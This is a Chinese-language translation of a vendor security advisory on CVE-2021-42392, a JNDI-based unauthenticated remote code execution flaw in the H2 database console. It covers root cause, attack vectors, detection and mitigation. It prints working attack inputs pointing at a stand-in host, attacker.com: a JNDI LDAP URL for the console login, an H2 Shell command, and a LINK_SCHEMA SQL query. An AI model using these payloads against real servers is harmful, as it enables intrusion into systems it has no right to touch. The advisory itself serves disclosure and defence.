简介

最近,JFrog安全研究团队披露了H2数据库控制台中的一个安全漏洞,其编号为CVE-2021-42392。这个安全漏洞与Apache Log4j中臭名昭著的Log4Shell漏洞(JNDI远程类加载)有着相同的根源。

H2是一个非常流行的开源Java SQL数据库,提供一个轻量级的内存解决方案,使得用户无需将数据存储在磁盘上。这使得它成为各种项目的首选数据存储解决方案:从Spring Boot等网络平台到ThingWorks等物联网平台。而com.h2database:h2包则是最流行的50个Maven包之一,具有近7000个工件依赖项。

由于目前任何与(Java)JNDI有关的东西都很敏感,所以,在介绍H2漏洞发现之旅之前,我们有必要先澄清一下成功利用该漏洞的前提条件和配置。

尽管这两个漏洞的根源相似,但由于以下因素,CVE-2021-42392漏洞并没有像Log4Shell(CVE-2021-44228)漏洞那样常见:

1、与Log4Shell不同,该漏洞的影响范围是“直接”的。这意味着,通常只有处理初始请求的服务器(H2控制台)才会受到该RCE的影响。与Log4Shell相比,这个漏洞的影响相对较小,因为易受攻击的服务器应该很容易找到。

2、在H2数据库的vanilla发行版上,默认情况下,H2控制台只监听本地主机连接:这使得默认设置是安全的。这与Log4Shell不同,Log4Shell在Log4j的默认配置中是可以利用的。然而,值得注意的是,H2控制台也可以很容易地被修改为监听远程连接。

3、许多供应商可能运行H2数据库,但并不会运行H2控制台。尽管除了控制台之外还有其他可利用这个漏洞的途径,但它们都严重依赖于上下文,所以不太可能暴露给远程攻击者。

也就是说,如果您运行的H2控制台暴露给了局域网(或者更糟糕的是,广域网),这个安全问题就很严重了(无需身份验证的远程代码执行漏洞),所以,您应该立即将H2数据库更新到2.0.206版本。

我们还发现,许多开发者工具都依赖H2数据库,并特意暴露了H2控制台(后面会举一些例子)。根据最近针对开发者的供应链攻击的趋势来看,如流行的存储库中的恶意包,应该提高对开发者工具对所有合理使用情况的安全性的重视。我们认为,依赖H2的开发者工具应尽快采用修复后的数据库版本,以提高其安全性。

【点击查看学习资料】或私信回复“资料”获取

我们为什么要扫描JNDI的漏洞?

我们从Log4Shell漏洞事件中得到的一个重要启示是,由于JNDI的广泛使用,必然会有更多的软件包受到与Log4Shell相同的根源的影响:接受任意的JNDI查找URLs。因此,我们调整了自动漏洞检测框架,将”javax.naming.Context.lookup“函数视为危险函数(sink),并将该框架释放到Maven仓库中,希望能找到与Log4Shell类似的安全漏洞。

我们得到的第一个有效命中点是关于H2数据库包的。在确认了这个问题后,我们把它报告给了H2的维护者,他们及时在新的版本中修复了这个问题,并在GitHub上发布了一个关键漏洞的公告。随后,我们也公布了一个高危漏洞,编号为CVE-2021-42392。

在这篇文章中,我们将介绍我们在H2数据库中发现的几个允许触发远程JNDI查询的攻击途径,其中一个途径可以实现无需身份验证的远程代码执行。

漏洞根源:JNDI远程类加载

简单来说,该漏洞的根本原因与Log4Shell类似:H2数据库框架中的几个代码路径将未经过滤的、攻击者控制的URL直接传递给了javax.naming.Context.lookup函数,这将允许远程加载代码库(又称Java代码注入,又称远程代码执行)。

具体来说,org.h2.util.JdbcUtils.getConnection方法需要一个驱动程序类名称和数据库URL作为参数。如果驱动程序的类可分配给javax.naming.Context类,则该方法会从中实例化一个对象并调用其查找方法:

else if (javax.naming.Context.class.isAssignableFrom(d)) {// JNDI contextContext context = (Context) d.getDeclaredConstructor().newInstance();DataSource ds = (DataSource) context.lookup(url);if (StringUtils.isNullOrEmpty(user) && StringUtils.isNullOrEmpty(password)) {return ds.getConnection();}return ds.getConnection(user, password);
}

所以,如果提供一个驱动类(如javax.naming.InitialContext)和一个URL(如ldap://attacker.com/Exploit),就会导致远程代码执行。

CVE-2021-42392攻击向量

H2控制台——上下文无关的、无需身份验证的RCE

这个安全问题最严重的攻击向量是通过H2控制台发动攻击。

H2数据库包含一个内嵌的、基于Web的控制台,帮助管理员轻松管理数据库。当运行H2包JAR时,它在http://localhost:8082上是默认可用的:

java -jar bin/h2.jar

此外,在Windows系统上,也可以通过“开始”菜单启用它:

此外,当H2作为一个嵌入式库使用时,该控制台可以从Java中启动:

h2Server = Server.createWebServer("-web", "-webAllowOthers", "-webPort", "8082");
h2Server.start();

对控制台的访问是通过一个登录表格来提供保护的,它允许将“driver”和“url”字段传递给JdbcUtils.getConnection的相应字段。正是这一点导致了无需身份验证的RCE,因为在用潜在的恶意URL进行查找之前,根本无需验证用户名和密码。

在默认情况下,H2控制台只能从本地主机访问。这一选项可以通过控制台的用户界面加以修改:

或者通过一个命令行参数:-webAllowOthers进行修改。

不幸的是,我们发现,一些依赖H2数据库的第三方工具会默认运行暴露给远程客户端的H2控制台。例如,JHipster框架也暴露了H2控制台,并默认将webAllowOthers属性设置为true。

# H2 Server Properties
0=JHipster H2 (Memory)|org.h2.Driver|jdbc\:h2\:mem\:jhbomtest|jhbomtest
webAllowOthers=true
webPort=8092
webSSL=false

从文档中可以看出,当使用JHipster框架运行应用程序时,默认情况下,允许在/h2-console端点上的JHipster web界面上使用H2控制台:

由于H2数据库被如此多的工件使用,所以很难量化H2控制台中存在多少易受攻击的部署。我们之所以认为这是最严重的攻击向量,也是因为使用公共搜索工具就可以定位面向WAN的易受攻击的控制台。

H2 Shell工具:依赖上下文的RCE

在内置的H2 shell中,能够控制命令行参数的攻击者,可以调用前面提到的易受攻击的驱动程序和url来搞事情:

java -cp h2*.jar org.h2.tools.Shell -driver javax.naming.InitialContext -url ldap://attacker.com:1387/Exploit

我们认为这种攻击向量是难以奏效的,因为这要求存在自定义代码,还需要将远程输入通过管道传输这些命令行参数。但是,如果存在这样的自定义代码,攻击者就可以控制命令行的某些部分,那么这种攻击就比较有希望了,并能发动参数注入攻击。关于这种攻击的更多细节,请参阅我们的Yamale文章。

基于SQL的向量:需要身份验证的(高权限的)RCE

此外,易受攻击的JdbcUtils.getConnection也可以被几个SQL存储过程调用,而这些存储过程在H2数据库中是默认可用的。我们已经确定了几个存储过程,但它们都有相同的属性,这使得这种攻击向量威力有限——因为只有经过身份验证的管理员才能调用它们。

例如,LINK_SCHEMA存储过程直接将驱动程序和URL参数传递到易受攻击的函数中,具体如下面的查询所示:

SELECT * FROM LINK_SCHEMA('pwnfr0g', 'javax.naming.InitialContext', 'ldap://attacker.com:1387/Exploit', 'pwnfr0g', 'pwnfr0g', 'PUBLIC');

由于该存储过程只限于DB管理员使用,所以,我们认为最可能的攻击手段是将单独的SQL注入漏洞升级为RCE漏洞。

如何检测自己是否受到CVE-2021-42392漏洞的影响?

网络管理员可以用nmap扫描他们的本地子网,查看H2控制台的开放实例,例如:

nmap -sV --script http-title --script-args "http-title.url=/" -p80,443,8000-9000 192.168.0.0/8 | grep "H2 Console"

(在vanilla安装中,默认的控制台端点是"/";对于通过第三方工具部署的H2控制台来说,情况可能有所不同)

任何返回的服务器都很可能被利用。

如上所述,尽管还存在其他攻击向量,不过通过它们进行远程利用的可能性要小得多。但是无论如何,我们都建议用户升级H2数据库(详见后文)。

我们是如何检测到CVE-2021-42392的?

这个安全问题可以通过数据流分析(DFA)检测到,尤其是把Java内置的HttpServlet.doGet/doPost方法定义为用户输入源(特别是第1个req参数),而把上述的javax.naming.Context.lookup方法(执行JNDI查找)定义为危险函数/汇时。

这种情况下的数据流是相当直接的,尽管需要对一些类的字段进行追踪。红色标记的变量代表追踪的数据:



针对CVE-2021-42392的修复建议

我们建议所有H2数据库的用户尽快升级到2.0.206版本,即使您没有直接使用H2控制台。这是因为还存在其他攻击途径,其可利用性目前还难以确定。

2.0.206版通过限制JNDI URL只使用(本地)java协议来修复CVE-2021-42392漏洞,并拒绝任何远程LDAP/RMI查询。这与Log4j 2.17.0中应用的修复方法类似。

如何缓解CVE-2021-42392漏洞的影响?

对该漏洞的最佳修复方法是升级H2数据库。

对于目前无法升级H2的供应商,我们提供以下缓解方案:

1、与Log4Shell漏洞类似,较新版本的Java包含trustURLCodebase缓解措施,不允许通过JNDI直接加载远程代码库。供应商可升级其Java(JRE/JDK)版本,以启用这一缓解措施。

该缓解措施在以下版本的Java(或任何更高的版本)中都是默认启用的:

6u2117u2018u19111.0.1

然而,这种缓解措施并不是无懈可击的,因为攻击者可以通过LDAP发送一个序列化的“gadget”Java对象就可以绕过该缓解措施,只要相应的“gadget”类被包含在classpath中(取决于运行H2数据库的服务器)即可。

2、当H2控制台Servlet被部署在Web服务器上时(不使用独立的H2 Web服务器),可以添加一个安全约束,只允许特定的用户访问控制台页面。一个合适的配置例子可以在这里找到。

总结

最后,我们强烈建议将您的H2数据库升级到最新版本,以避免受到与CVE-2021-42392漏洞有关的攻击。我们的安全研究团队正在持续扫描类似的JNDI漏洞,这既是为了负责任的披露目的,也是为了提高我们未来零日漏洞的检测能力。据我们所知,CVE-2021-42392是Log4Shell之后公布的第一个JNDI相关的无需身份验证的RCE漏洞,但我们怀疑它绝不会是最后一个。

深入分析H2数据库控制台中无需身份验证的RCE漏洞相关推荐

  1. java实现 mysql 身份认证,java-从Filter中的数据库对用户进行身份验证是一种好习惯吗?...

    我正在为Android App创建Rest API(Spring Boot项目).从数据库对用户进行身份验证的理想方法应该是什么? 1.在控制器类中查询数据库 2.在过滤器类中查询数据库 3.使用Sp ...

  2. azure云数据库_在Azure SQL数据库中配置多重身份验证

    azure云数据库 介绍 (Introduction) The new SSMS 17.2 allows users to authenticate using Active Directory wi ...

  3. 浅谈DM达梦数据库安全管理之用户身份验证与权限管理

            数据库安全管理是指采取各种安全措施对数据库及其相关文件和数据进行保护.DM达梦数据库提供了包括用户标识与鉴别.自主与强制访问控制.通信与存储 加密.审计等丰富的安全功能.达梦数据库 的 ...

  4. java中身份验证,如何处理数据库中用户的身份验证/授权?

    有几种选择 . 选择哪一项完全取决于您 . 只是客观地权衡具体的优缺点,以符合自己的情况 . 1.使用Java EE提供的容器管理身份验证 只需在 web.xml 中声明 ,它引用在servletco ...

  5. Webmin未经身份验证的远程代码执行-墨者学院

    01 背景介绍 Webmin是目前功能最强大的基于Web的Unix系统管理工具.管理员通过浏览器访问Webmin的各种管理功能并完成相应的管理动作.据统计,互联网上大约有13w台机器使用Webmin. ...

  6. ssl 客户端证书验证_SSL客户端身份验证:这是信任的问题

    ssl 客户端证书验证 [编者注:本文介绍了如何为Domino 4.6和4.6.1设置SSL客户机认证.] 互联网上最新的行业流行词是SSL. 但是SSL真正需要提供什么? 安全套接字层(SSL)是一 ...

  7. SQL Server安全(2/11):身份验证(Authentication)

    在保密你的服务器和数据,防备当前复杂的攻击,SQL Server有你需要的一切.但在你能有效使用这些安全功能前,你需要理解你面对的威胁和一些基本的安全概念.这篇文章提供了基础,因此你可以对SQL Se ...

  8. Mysql不需要身份验证便可远程连接故障

    首先感谢在本次故障中阿铭对我的无私帮助,万分感谢!阿铭linux论坛:http://www.apelearn.com/study_v2/ 问题描述: 公司安全部门扫描到数据库安全隐患,数据库不需要经过 ...

  9. 墨者学院—Webmin未经身份验证的远程代码执行(简单复习)

    墨者学院-Webmin未经身份验证的远程代码执行(简单复习) 背景描述: Webmin是目前功能最强大的基于Web的Unix系统管理工具.管理员通过浏览器访问Webmin的各种管理功能并完成相应的管理 ...

最新文章

  1. gitlab自带的Nginx与原Nginx冲突的解决方案
  2. 两种方式调试JNI中DLL(动态链接库)
  3. controller 有两种写法,讨论一下两种写法的区别:
  4. C# 配置文件 自定義結點
  5. opensips mysql 认证_基于ubuntu中使用mysql实现opensips用户认证的解决方法
  6. 【java】为什么 HashMap 的加载因子是0.75?
  7. BZOJ.3524.[POI2014]Couriers(主席树)
  8. [Js插件]使用JqueryUI的弹出框做一个“炫”的登录页面
  9. Android系统启动-SystemServer下篇
  10. 高中数学题库及答案(经典50题)
  11. win10如何安装系统得日语输入法(亲测)
  12. cad快捷栏怎么调出来_cad工具栏怎么调出来
  13. 微信公众号开发教程java_微信公众号开发java框架:wx4j(入门篇)
  14. TranslateAnimation 使用详解
  15. 使用nginx负载均衡器提高并发量
  16. KGB知识图谱深入挖掘金融行业的知识关联
  17. 计算机桌面图标字变蓝色,桌面的图标都变蓝了怎么解决【解决方法】
  18. web.xml.jsf_JSF 2.0 Ajax世界中的GMaps4JSF
  19. ai不同形状的拼版插件_Illustrator(AI)自动拼版脚本插件
  20. 干货 | 人工智能如何帮助银行反欺诈:来看看关于银行智能欺诈风险预测模型的研究

热门文章

  1. mysql组件化_组件化开发和模块化开发概念辨析
  2. Python语言学习之lambda:lambda函数的简介、使用方法、案例大全之详细攻略
  3. Python之pyecharts:利用pyecharts绘制2020年11月16日微博话题热度排行榜实时变化
  4. ML之FE:对爬取的某平台二手房数据进行数据分析以及特征工程处理
  5. 成功解决AttributeError: module tensorflow.image has no attribute resize
  6. BigData之Hadoop:Hadoop的简介、深入理解、下载、案例应用之详细攻略
  7. 成功解决ERROR: Unable to find the development tool `cc` in your path; please make sure that you have the
  8. AI公开课:19.03.13沈徽-商汤副总裁《AI创新与落地》课堂笔记以及个人感悟
  9. DL:The development history of the important stage of DL
  10. SQL Server 查找统计信息的采样时间与采样比例